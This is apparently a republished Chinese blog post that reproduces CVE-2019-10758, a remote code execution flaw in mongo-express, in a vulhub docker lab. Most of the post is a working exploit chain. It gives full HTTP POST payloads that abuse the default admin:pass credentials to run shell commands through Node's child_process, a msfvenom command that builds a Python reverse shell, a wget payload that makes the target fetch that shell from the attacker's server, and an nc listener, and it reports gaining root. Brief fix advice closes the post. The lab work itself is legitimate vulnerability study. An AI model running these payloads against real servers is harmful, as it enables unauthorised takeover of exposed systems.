mongo-express远程代码执行(CVE-2019-10758)漏洞复现(msfvenom/wget,反弹shell)
Posted Thgilil
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了mongo-express远程代码执行(CVE-2019-10758)漏洞复现(msfvenom/wget,反弹shell)相关的知识,希望对你有一定的参考价值。
mongo-express
mongo-express是一个MongoDB的Admin Web管理界面,基于NodeJS、Express、Bootstrap3开源编写
漏洞介绍
在开启了端口8081后,攻击者可以直接访问,而目标服务器上没有修改默认的登录密码admin/pass,则攻击者可以远程执行node.js代码
复现环境
mongo-express 0.53.0
MongoDB Version 3.4.24
漏洞环境搭建
采用github开源docker漏洞环境搭建而成
项目地址:
https://github.com/vulhub/vulhub/tree/master/mongo-express/CVE-2019-10758
进入具体漏洞环境,执行如下命令启动一个0.53.0版本的mongo-express:
cd vulhub-master/mango-express/CVE-2019-10758
docker-compose build
docker-compose up -d
启动成功后,访问
ip:8081
出现如下界面表示搭建成功
漏洞复现
- 创建目录
抓包发送如下数据包执行代码,在tmp目录下创建success目录
POST /checkValid HTTP/1.1
Host: 192.168.0.113:8081
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Authorization: Basic YWRtaW46cGFzcw==
Content-Type: application/x-www-form-urlencoded
Content-Length: 121
document=this.constructor.constructor("return process")().mainModule.require("child_process").execSync("touch /tmp/success")
其中Authorization: Basic YWRtaW46cGFzcw== 经base64解码为Authorization:
Basic admin:pass
通过BurpSuite进行抓包,发送如下数据包
进入docker中创建的web环境中查看/tmp/目录,可以发现成功创建了success目录
docker-compose exec web ls /tmp
或者获取一个bash shell
docker-compose exec web /bin/bash
- 执行命令反弹shell
思路:
在kali上使用msf生成一个反弹shell.py,开启pythonHTTP服务器供靶机下载
靶机上,通过wget下载shell.py,在利用命令执行漏洞执行这个文件,反弹一个shell给kali
操作步骤
kali上
因为知道靶机web环境中存在python环境,所以创建一个python的反弹shell
msfvenom -p cmd/unix/reverse_python LHOST=192.168.0.109 LPORT=4444 -f raw > shell.py
运行python HTTP服务器,攻击者将从此服务器上下载shell.py
python -m SimpleHTTPServer
靶机上
攻击者执行命令,下载Python服务器上的shell.py,保存/tmp/shell
poc如下
POST /checkValid HTTP/1.1
Host: 192.168.0.113:8081
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Authorization: Basic YWRtaW46cGFzcw==
Content-Type: application/x-www-form-urlencoded
Content-Length: 121
document=this.constructor.constructor("return process")().mainModule.require("child_process").execSync("wget http://192.168.0.109:8000/shell.py -O /tmp/shell")
下载成功
kali上监听4444端口
nc -lvp 4444
再次发包命令执行,执行shell文件
POST /checkValid HTTP/1.1
Host: 192.168.0.113:8081
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Authorization: Basic YWRtaW46cGFzcw==
Content-Type: application/x-www-form-urlencoded
Content-Length: 121
document=this.constructor.constructor("return process")().mainModule.require("child_process").execSync("bash /tmp/shell")
反弹shell成功,获得的是root权限
修复建议
1.及时升级漏洞组件
2.不要使MongoExpres服务暴露在公网上
3.修改默认登录密码admin:pass
以上是关于mongo-express远程代码执行(CVE-2019-10758)漏洞复现(msfvenom/wget,反弹shell)的主要内容,如果未能解决你的问题,请参考以下文章
应用安全 - 数据库 | 工具 - mongo数据库 - mongo-express - 漏洞 - 汇总
更新:有POC发布 | Microsoft IE jscript远程命令执行0day漏洞(CVE-2020-0674)通告